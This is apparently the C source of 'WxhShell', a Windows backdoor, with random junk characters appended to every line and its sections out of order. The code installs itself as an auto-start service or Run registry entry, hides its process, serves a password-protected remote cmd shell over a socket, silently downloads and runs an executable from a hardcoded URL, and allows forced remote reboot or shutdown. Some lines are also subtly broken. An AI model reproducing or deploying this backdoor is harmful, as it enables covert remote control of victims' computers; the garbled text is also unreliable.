    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m/&i9A  
    else { ,1n >U?5  
    closesocket(wsh); !jX4`/n2  
    ExitThread(0); `qpc*enf0  
    } MKGS`X]<J  
    break; ={(j`VSUX0  
    } TT!ET<ciN  
  // 获取shell *}b]rjsj  
  case 's': { hP?fMW$V  
    CmdShell(wsh); ^~ =9  
    closesocket(wsh); A//?6O Jx?  
    ExitThread(0); ,#u\l>&$  
    break; i`U: gw  
  } cH`^D?#se  
  // 退出 Q ~|R Z7G  
  case 'x': { V%L/8Q~  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); g1m-+a  
    CloseIt(wsh); @_'OyRd8  
    break; Go\VfLLw  
    } d{+(Lpj^  
  // 离开 vL_zvX A  
  case 'q': { M.%shrJ/  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ^t. W|teD  
    closesocket(wsh); =6%|?5G  
    WSACleanup(); AMlV%U#  
    exit(1); 1IH[g*f  
    break; </oY4$l'  
        } _uH9XGm  
  } G"s0GpvQ  
  } 7| YrdK<  
/"AvOh*  
  // 提示信息 7Ur?ep  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iv%w!3#  
} ,\ldz(D?+  
  } CDg AGy  
60B-ay0e$b  
  return; nnCug  
} 6XUuGxQV/  
V% axeqs  
// shell模块句柄 4KpL>'Q=  
int CmdShell(SOCKET sock) cf8-]G?tK  
{ h* .w"JO  
STARTUPINFO si; y%(X+E"n*  
ZeroMemory(&si,sizeof(si)); Ub)I66  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; s${_K*g6  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =G>(~+EA  
PROCESS_INFORMATION ProcessInfo; $3 8gs{+  
char cmdline[]="cmd"; P;91~``b-  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); x !{   
  return 0; crmUrF#  
} :X>DkRP  
tB6k|cPC  
// 自身启动模式 hY;_/!_  
int StartFromService(void) 8[5|_Eh+  
{ Lyoor1   
typedef struct iyM^[/-R6  
{ /A(NuB<Pq  
  DWORD ExitStatus; UVX"fZ)  
  DWORD PebBaseAddress; IsYP0(L  
  DWORD AffinityMask; 3B9nP._  
  DWORD BasePriority; YB!!/ SX4  
  ULONG UniqueProcessId; (!zM\sF  
  ULONG InheritedFromUniqueProcessId; Z!\@%`0$  
}   PROCESS_BASIC_INFORMATION; xfHyC'?  
! Tfij(91  
PROCNTQSIP NtQueryInformationProcess; F>Jg~ FD*  
'Ji+c  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 2w1tK  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; M []OHw  
>Q2). E  
  HANDLE             hProcess; R{3CW^1  
  PROCESS_BASIC_INFORMATION pbi; bEpMaBN  
J/Q|uRpmqr  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); m6n hC  
  if(NULL == hInst ) return 0; X%4h(7;v  
!Yh}H<w0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); pCt}66k}  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); #)74X% 4(  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); !IA KVQ  
DX@}!6|T  
  if (!NtQueryInformationProcess) return 0; ])$S\fFm  
{+=i?  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); `SOhG?Zo  
  if(!hProcess) return 0; LM1b I4  
,IjdO(?TC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o/JPYBhdl  
k&GHu0z  
  CloseHandle(hProcess); a!t V6H  
*T4ge|zUc  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5u,sx664  
if(hProcess==NULL) return 0; R;THA!  
JSjYC0e  
HMODULE hMod; Ak=UtDN[  
char procName[255]; 5-'vB  
unsigned long cbNeeded; L>nO:`>h  
#v8Cy|I  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 79tJV  
yiT{+;g^  
  CloseHandle(hProcess); |R~;&x:  
*i?.y*g  
if(strstr(procName,"services")) return 1; // 以服务启动 1g i}H)  
ay[+2"  
  return 0; // 注册表启动 k,]{NO   
} !#.vyBK#  
D8/sz`N7Q  
// 主模块 4A~)b"j5  
int StartWxhshell(LPSTR lpCmdLine) \{>eOD_  
{ f[@#7,2~M  
  SOCKET wsl; :&$Xe1)i]  
BOOL val=TRUE; "jGe^+9uT  
  int port=0; OK\]*r  
  struct sockaddr_in door; # U`&jBU  
6D^%'[4t  
  if(wscfg.ws_autoins) Install(); r}@< K  
,4Y sZ  
port=atoi(lpCmdLine); 1UyH0`&  
Fe4esg-B<  
if(port<=0) port=wscfg.ws_port; w4}(Ab<Y  
>@Khm"/T  
  WSADATA data; JS2!)aqc  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {G.{a d  
6QptKXu7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   EG1x  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); s}!"a8hU`  
  door.sin_family = AF_INET; *2:Yf7rvI+  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); *]9XDc]{j1  
  door.sin_port = htons(port); WFdem/\kX  
P rt#L8  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { JWSq"N  
closesocket(wsl); :wCC^Y]  
return 1; _6I>+9#C  
} SD I,M  
Bcm=G""  
  if(listen(wsl,2) == INVALID_SOCKET) { %#Q #N,fw  
closesocket(wsl); 7eH@n <]Y2  
return 1; /2'c>  
} (QhAGk&lu  
  Wxhshell(wsl); faJ8zX  
  WSACleanup(); Z{16S=0  
bl9E&B/  
return 0; G[B*TM6$  
Faw. GU  
} :\T_'Shq  
/K&wr6  
// 以NT服务方式启动 2c*2\93>  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) >,w P! ;dh  
{ x k#*=  
DWORD   status = 0; v_.j/2U  
  DWORD   specificError = 0xfffffff; [ 1D)$"  
A'(k Yc  
  serviceStatus.dwServiceType     = SERVICE_WIN32; vev8l\  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,XP@ pi  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; )xbqQW7%0+  
  serviceStatus.dwWin32ExitCode     = 0; 7dx4~dF  
  serviceStatus.dwServiceSpecificExitCode = 0; rr6"Y&v  
  serviceStatus.dwCheckPoint       = 0; Z~B+*HF  
  serviceStatus.dwWaitHint       = 0; 1r&AB!Z #  
IT7:QEfKU  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); l>33z_H^  
  if (hServiceStatusHandle==0) return; ";58B} ki  
_"`/^L`Q?  
status = GetLastError(); c'[( d5^|  
  if (status!=NO_ERROR) k.ww-nH  
{ j[BgP\&,  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !-@SS>  
    serviceStatus.dwCheckPoint       = 0; 3pzOt&T|w  
    serviceStatus.dwWaitHint       = 0; r6/<&1[  
    serviceStatus.dwWin32ExitCode     = status; s UvKA0  
    serviceStatus.dwServiceSpecificExitCode = specificError; ,7/\&X<`B  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4v i B=>  
    return; ;+! xZOmm  
  } sd7Y6?_C  
|Yg}WHm  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <`b|L9  
  serviceStatus.dwCheckPoint       = 0; ;vZ*,q6  
  serviceStatus.dwWaitHint       = 0; l$qmn$Uc  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); HKT{IP+7(L  
} (rMTW+,  
R7y-#?  
// 处理NT服务事件,比如:启动、停止 .|tQ=l@I  
VOID WINAPI NTServiceHandler(DWORD fdwControl) iNMLYYq]l  
{ *GB$sXF  
switch(fdwControl) 8cequAD  
{ g8B&u u #  
case SERVICE_CONTROL_STOP: i$2MjFC-  
  serviceStatus.dwWin32ExitCode = 0; HM;4=%  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ` C/fF_YA  
  serviceStatus.dwCheckPoint   = 0; Gu<W:n[  
  serviceStatus.dwWaitHint     = 0; i,^>uf  
  { LjX&' ,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); N>h]mX6  
  } 1j8/4:  
  return; Cf.WO%?P  
case SERVICE_CONTROL_PAUSE: LH1BZ(5g  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; +X{cN5Y K  
  break; UX+?0K  
case SERVICE_CONTROL_CONTINUE: ,(zcl$A[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  U5T^S  
  break; ..sJtA8  
case SERVICE_CONTROL_INTERROGATE: K>`m_M"LA  
  break; !;6W!%t.|  
}; DWHOS XA4  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); S;G"L$&\  
} 75' Ua$  
;g!xQvcR  
// 标准应用程序主函数 8Fyc#Xo8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |v,}%UN2  
{ $v2S;UB v*  
%!1@aL]pQ  
// 获取操作系统版本 ]M02>=1  
OsIsNt=GetOsVer(); z0FR33-  
GetModuleFileName(NULL,ExeFile,MAX_PATH); L2do 2_  
%l0_PhAB  
  // 从命令行安装 Z%(Df3~gmm  
  if(strpbrk(lpCmdLine,"iI")) Install(); j TGS6{E  
!:R^}pMhIk  
  // 下载执行文件 U]1>?,Nk'3  
if(wscfg.ws_downexe) { N GX-'w  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) b*9m2=6  
  WinExec(wscfg.ws_filenam,SW_HIDE); :C}KI)  
} $L $j KNwf  
S+4I[|T]Y  
if(!OsIsNt) { Ta!m%=8  
// 如果时win9x,隐藏进程并且设置为注册表启动 >& 4I.nA  
HideProc(); (Qw`%B  
StartWxhshell(lpCmdLine); 0$Qn#K  
} +sV#Z,  
else H"kc^G+(R"  
  if(StartFromService()) O#<|[Dzw  
  // 以服务方式启动 _oYA;O  
  StartServiceCtrlDispatcher(DispatchTable); bUEt0wRR  
else U:C-\ M  
  // 普通方式启动 fbW,0  
  StartWxhshell(lpCmdLine); woC FN1W  
mRix0XBI~  
return 0; l[ZQ7$kL  
} !IQfeo T  
"oKj~:$  
Vf#oKPP1  
!]UU;8h~  
=========================================== NG4eEnic!a  
QqT6P`0u  
4rGO8R  
Hj-<{#,  
;RTrRh0v  
0|qx/xo|-  
" ]-+.lR%vd9  
&9GR2GY  
#include <stdio.h> ]y$V/Ij=qK  
#include <string.h> C>\h?<s  
#include <windows.h> GhchfI.  
#include <winsock2.h> D|8sjp4  
#include <winsvc.h> uH~ TugQ~  
#include <urlmon.h> +A.a~Stt  
'/n%}=a=  
#pragma comment (lib, "Ws2_32.lib") x1BDvTqW  
#pragma comment (lib, "urlmon.lib") UlLM<33_)  
JXD?a.vy^q  
#define MAX_USER   100 // 最大客户端连接数 $TH'"XK  
#define BUF_SOCK   200 // sock buffer ,AFC1t[0  
#define KEY_BUFF   255 // 输入 buffer ~ L i%  
: Oz7R:  
#define REBOOT     0   // 重启 Sj=69>m]5  
#define SHUTDOWN   1   // 关机 ?Sd~u1w8K  
!Sr0Im0  
#define DEF_PORT   5000 // 监听端口 , L AJ  
&d &oP  
#define REG_LEN     16   // 注册表键长度 {O3oUE+  
#define SVC_LEN     80   // NT服务名长度 yScov)dp(  
.,BD DPFB  
// 从dll定义API $ M[}(m  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); iM Y0xf8l  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); u" NIG  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); xSMp[j  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); HK,G8:T  
W@uH!n>k  
// wxhshell配置信息 AD4L`0D  
struct WSCFG { 7T(OV<q;#  
  int ws_port;         // 监听端口 Z2pN<S{5  
  char ws_passstr[REG_LEN]; // 口令 E]U3O>hf  
  int ws_autoins;       // 安装标记, 1=yes 0=no <PuB3PEvV  
  char ws_regname[REG_LEN]; // 注册表键名 Qi'WV9ke  
  char ws_svcname[REG_LEN]; // 服务名 6pdl,5[x-  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "3>*i!i  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #Ot*jb1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 "8iyMP%8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >7v.`m6?H  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Vlxb<$5Nh  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ff5 Lwf{{  
~)_ ?:.Da  
}; U(&nh ?  
S&)) 0d  
// default Wxhshell configuration >a`zkl  
struct WSCFG wscfg={DEF_PORT, D A)0Y_  
    "xuhuanlingzhe", G]NtX4'4  
    1, }+RF~~H/  
    "Wxhshell", TWR#MVMI  
    "Wxhshell", "6o}qeB l  
            "WxhShell Service", R_*D7|v  
    "Wrsky Windows CmdShell Service", pN f9  
    "Please Input Your Password: ", &)f++(i  
  1, 5\kZgXWIh  
  "http://www.wrsky.com/wxhshell.exe", 1S.e5{  
  "Wxhshell.exe" `zOAltfd  
    }; ;>8TNB e!  
pZJQKTCG  
// 消息定义模块  yLIj4bf  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; /E  yg*#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gwB> oi*OE  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 'UG}E@G  
char *msg_ws_ext="\n\rExit."; EKS<s82hF&  
char *msg_ws_end="\n\rQuit."; WUK.>eM0  
char *msg_ws_boot="\n\rReboot..."; ^?.:}  
char *msg_ws_poff="\n\rShutdown..."; P;o>~Y>x  
char *msg_ws_down="\n\rSave to "; LY cSMuJ  
Gv nclnG  
char *msg_ws_err="\n\rErr!"; ?UhAjtYIS  
char *msg_ws_ok="\n\rOK!"; `L[32B9  
B+$Q"  
char ExeFile[MAX_PATH]; a1sLRqo8  
int nUser = 0; T(Gf~0HYF  
HANDLE handles[MAX_USER]; xjk|O;ak  
int OsIsNt; l'lDzB+.*  
1Y"qQp  
SERVICE_STATUS       serviceStatus; w[vIPlSdS  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; *>*/|  
?,e:c XhE2  
// 函数声明 Bv]wHPun  
int Install(void); Y},GZ^zqy  
int Uninstall(void); G`lhvpifG  
int DownloadFile(char *sURL, SOCKET wsh); Z q>.;>  
int Boot(int flag); QM=436fq  
void HideProc(void); kc']g:*]Y  
int GetOsVer(void); WK)k-A^q  
int Wxhshell(SOCKET wsl); R.'Gg  
void TalkWithClient(void *cs); _p2<7x i   
int CmdShell(SOCKET sock); 9 @*>$6  
int StartFromService(void); [>9"RzEl  
int StartWxhshell(LPSTR lpCmdLine); m]}"FMH$  
19{?w6G<k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); b/}0 &VXo  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); k)' z<EL6c  
CIvT5^}  
// 数据结构和表定义 92_H!m/  
SERVICE_TABLE_ENTRY DispatchTable[] = 'R5l =Wf  
{ nln[V$   
{wscfg.ws_svcname, NTServiceMain}, HZ4 ^T7G  
{NULL, NULL} I[IQFka}  
}; OL"5A18;M  
<l/Qf[V  
// 自我安装 s/0FSv x  
int Install(void) >:nJTr  
{ R:m=HS_  
  char svExeFile[MAX_PATH]; QD VA*6F  
  HKEY key; D)cwttH  
  strcpy(svExeFile,ExeFile); ZGvNEjff  
V+5 n|L5  
// 如果是win9x系统,修改注册表设为自启动 {#Cm> @')  
if(!OsIsNt) { c0p=/*s(  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { SFNd,(kB*z  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |i}g7  
  RegCloseKey(key); B&j+fi  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (Sp~+#XnF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); LbI])M  
  RegCloseKey(key); 1Nu`@)D0  
  return 0; (uz!:dkvx  
    } gy`qEY~B&  
  } FdHWF|D  
} _u5U> w  
else { F>R)~;Ja  
LB+=?Mz V  
// 如果是NT以上系统,安装为系统服务 %b4(wn?n:B  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); I;Y`rGj  
if (schSCManager!=0) r(CL=[  
{ z{WqICnb  
  SC_HANDLE schService = CreateService ToM*tXj  
  ( yvwcXNXR@  
  schSCManager, o[6"XJ  
  wscfg.ws_svcname, XYTcG;_z  
  wscfg.ws_svcdisp, HhH'\-[t  
  SERVICE_ALL_ACCESS, D+PUi!  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,  Jl,x~d  
  SERVICE_AUTO_START, XKIJ6M~5k  
  SERVICE_ERROR_NORMAL, DdBr Jx  
  svExeFile, YZ P  
  NULL, q2i~<;Z)9  
  NULL, HjR<4;2  
  NULL, bvTkS EN  
  NULL, zz*[JIe  
  NULL w2AWdO6  
  ); R;2 -/MT-  
  if (schService!=0) 7Wn]l!  
  { r5wXuA,Um  
  CloseServiceHandle(schService); %z(=GcWm  
  CloseServiceHandle(schSCManager); X/749"23  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 7s3<}  
  strcat(svExeFile,wscfg.ws_svcname); Nuq/_x  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { XL9lB#v^  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); a8$pc>2E  
  RegCloseKey(key); 7J/3O[2  
  return 0; A*;h}\n  
    } m q9&To!  
  } V@f#/"u'  
  CloseServiceHandle(schSCManager); P .(X]+  
} Us.jyg7_c  
} 1Xc%%j  
ghiElsBU  
return 1; 7|Y8^T s  
}  t/(j8w  
)}5r s  
// 自我卸载 b=EZtk6>  
int Uninstall(void) &T}e9 3]  
{ }$U6lh/Ep  
  HKEY key; ]h@:Y]  
OSU=O  
if(!OsIsNt) { Q)&Ztw<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mj~CCokF{?  
  RegDeleteValue(key,wscfg.ws_regname); Y [S^&pF  
  RegCloseKey(key); FFGTIT# {"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (^\i(cfu6Q  
  RegDeleteValue(key,wscfg.ws_regname); '5\1uB PKW  
  RegCloseKey(key); aR $P}]H  
  return 0; +M:Q!'  
  } |05LHwb>  
} @DR&e^Zz  
} 9hU@VPB~  
else { =h{2!Ah7 X  
dI|/Xm>  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); d0 az#Yg!  
if (schSCManager!=0) AQZ\Kcr  
{ } q(0uzaG  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); =QRZ(2Wq  
  if (schService!=0) L Jx g  
  { ,55`s#;  
  if(DeleteService(schService)!=0) { !2}Q9a  
  CloseServiceHandle(schService); ,;y^|X  
  CloseServiceHandle(schSCManager); o 8U2vMH  
  return 0; 'Ud5;?{  
  } zFIKB9NUn  
  CloseServiceHandle(schService); ]=Q'1%  
  } 0kfw8Lon  
  CloseServiceHandle(schSCManager); [U0c   
} 9mZ1 a6,x  
} f [D#QC  
X)+N>8o?N  
return 1; ^xrR3m*d  
} &-A 7%"  
1;V5b+b  
// 从指定url下载文件 g&V.o5jIhc  
int DownloadFile(char *sURL, SOCKET wsh) Xqk$[ peS  
{ oGZ9@Y)(T  
  HRESULT hr; DS fKUx&  
char seps[]= "/"; \ZB;K~BV&  
char *token; ?~Des"F6)1  
char *file; - _(!  
char myURL[MAX_PATH]; zO,sq%vQn'  
char myFILE[MAX_PATH]; >Ko )Z&j9W  
>xN^#$ng}  
strcpy(myURL,sURL); gUcE,L  
  token=strtok(myURL,seps); ^ 9i^Ci9  
  while(token!=NULL) A 3l1$t#w  
  { _1~Sj*  
    file=token; ` {p5SYj  
  token=strtok(NULL,seps); &knnWm"  
  } bvG Vfr "  
>vhyKq|g<  
GetCurrentDirectory(MAX_PATH,myFILE); iy 5  
strcat(myFILE, "\\"); ZpyRvDz  
strcat(myFILE, file); tznT*EQr  
  send(wsh,myFILE,strlen(myFILE),0); jWz-7BO  
send(wsh,"...",3,0); \?Z dUY  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); JcP'+@X"  
  if(hr==S_OK) Jz6PqU|=  
return 0; `}bUf epMJ  
else ?l/rg6mbI'  
return 1; x?kZD~|{)  
uH#NJoR O  
} ZI1RB fR  
h;6@-\6  
// 系统电源模块 BI s!  
int Boot(int flag) :Z)s'd.  
{ 8"@<s?0\"  
  HANDLE hToken; &zR}jD>  
  TOKEN_PRIVILEGES tkp; ,Xw/ t>  
m`|Z1CT  
  if(OsIsNt) { Am0$UeSZ  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); T]xGE   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =%p"oj]:  
    tkp.PrivilegeCount = 1; M\%{!Wzo8  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ocMf}"  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,#A,+!4  
if(flag==REBOOT) { ) E\pQ5&  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) @l8?\^N  
  return 0; SCo9[EJ  
} eIO}/npT]Q  
else { \?o%<c5{  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) I.>LG  
  return 0; 1L0ku@%t9Y  
} z(xvt>  
  } 8P 8"dN[  
  else { $#!~K2$  
if(flag==REBOOT) { YANEdH`d  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) +38t82%YWo  
  return 0; VYwaU^  
} s-*XAn ot  
else { >dM'UpN@  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Wwz>tE  
  return 0; PIA&s6U  
} N  P"z  
} gR+Z"]  
;?rW`e2  
return 1; +0OQ"2^&  
} {`'b+0[;@  
5q<kt{06\  
// win9x进程隐藏模块 JsC0^A;fM  
void HideProc(void) *,. {Xf  
{ 4Vs;Y&t]  
y|aWUX/a  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); yDKX,  
  if ( hKernel != NULL ) \bg^E>-  
  { bY<"$);s  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); jC oZm(bi  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); M;E&@[5  
    FreeLibrary(hKernel); I9MI}0}7  
  } %nIjRmqM~  
oeIS&O.K  
return; M]W4S4&Y=  
} YcI]_[  
5Ql6?U HD  
// 获取操作系统版本 ]Cj&C/(  
int GetOsVer(void) A-~)7-  
{ gp}S 1  
  OSVERSIONINFO winfo; k4@GjO1"$  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); (X8N?tJ  
  GetVersionEx(&winfo); L]V K9qB  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)  }N[sydL  
  return 1; )*uI/E  
  else bIH2cJ  
  return 0; 1{wy%|H\  
} 5 xiYCOy  
y`N1I  
// 客户端句柄模块 a-W&/  
int Wxhshell(SOCKET wsl) (*EN!-/  
{ Ii9vA ^53  
  SOCKET wsh; 8dpVB#]pp,  
  struct sockaddr_in client; t!~mbx+  
  DWORD myID;  LKm5U6  
BP7_o63/G  
  while(nUser<MAX_USER) ka5>9E  
{ X[|>r@Aa!  
  int nSize=sizeof(client); ugCc&~`  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); R6!3Y/Q@  
  if(wsh==INVALID_SOCKET) return 1; 2@H~nw 0  
$OJ*Kul  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); o%dtf5}(,  
if(handles[nUser]==0) >ko;CQR  
  closesocket(wsh); ."lY>(HJ  
else ED6H  
  nUser++; Q.N^1?(>k  
  } WgIVhj  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); V=c&QPP  
f="}.  
  return 0; ;9^B# aTM  
} 0e:aeLh  
6(z.(eT  
// 关闭 socket ]*@7o^4i  
void CloseIt(SOCKET wsh) Kq1sGk  
{ |9g*rO  
closesocket(wsh); U3Q'ZT  
nUser--; 4, :D4WYWD  
ExitThread(0); 7fVVU+y  
} Uq&|iB#mF  
n;MoMGnPh,  
// 客户端请求句柄 a5)+5  
void TalkWithClient(void *cs) 2q#$?qs_b  
{ Ft]sTA+C  
%jkd}D  
  SOCKET wsh=(SOCKET)cs; | zAey\  
  char pwd[SVC_LEN]; cB<Zez  
  char cmd[KEY_BUFF]; gt ?&!S^  
char chr[1]; T.xW|Iwx  
int i,j; CzK X}  
rF5<x3  
  while (nUser < MAX_USER) { UeVF@rw  
3B_S>0H"$  
if(wscfg.ws_passstr) { {C3bCVQ]o  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Fb_~{q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,^'Y7"  
  //ZeroMemory(pwd,KEY_BUFF); M_PL{  
      i=0; ]s<Q-/X  
  while(i<SVC_LEN) { TEYbB=.  
/E*P0y~KTW  
  // 设置超时 j;'NJ~NZ$  
  fd_set FdRead; u%T.XgY=j  
  struct timeval TimeOut; Um|:AT}`^  
  FD_ZERO(&FdRead); zgO?%O  
  FD_SET(wsh,&FdRead); dx~F [  
  TimeOut.tv_sec=8; Sy8Og] a  
  TimeOut.tv_usec=0; 20J:_+=]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); uW[ <?sFG  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); is6JS^Q  
O[ N{&\$  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  m.2  
  pwd=chr[0]; ld3,)ZY  
  if(chr[0]==0xd || chr[0]==0xa) { 2;q6~Y,  
  pwd=0; %Jw;c`JM  
  break;  u2DsjaL  
  } >si<VCO  
  i++; 2\7]EW  
    } BtjsN22  
J${wU @_ %  
  // 如果是非法用户,关闭 socket j6Vuj/+}  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); O ~"^\]\  
} Hiq9Jn uv(  
 - @  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {Xl 5F.q  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )2R:P`U  
44n^21k  
while(1) { haY.rH]z  
+pDuRr  
  ZeroMemory(cmd,KEY_BUFF); DTJ~.  
@ws3X\`<C  
      // 自动支持客户端 telnet标准   -]N/P{=L  
  j=0; Ex~OT  
  while(j<KEY_BUFF) { af> i  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); }|x]8zL8G  
  cmd[j]=chr[0]; 7^:s/xHO*  
  if(chr[0]==0xa || chr[0]==0xd) { 8 2_3|T  
  cmd[j]=0; cnI!}Bu  
  break; u< ):gI  
  } =m:0#&t,*  
  j++; $rf5\_G,96  
    } vZ|m3;X  
V-t!  
  // 下载文件 lPx4I  
  if(strstr(cmd,"http://")) { 2&P'rmFm  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); fLPB *y6  
  if(DownloadFile(cmd,wsh)) 3:S Ex;d+  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); V}3.K\7  
  else i1  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &L+u]&!6C  
  }  M)Y`u  
  else { 4,FuQ}  
qA&N6`  
    switch(cmd[0]) { '%)7%O,2  
  cl^tX%  
  // 帮助 c6Wy1d^  
  case '?': { N=-hXgX^  
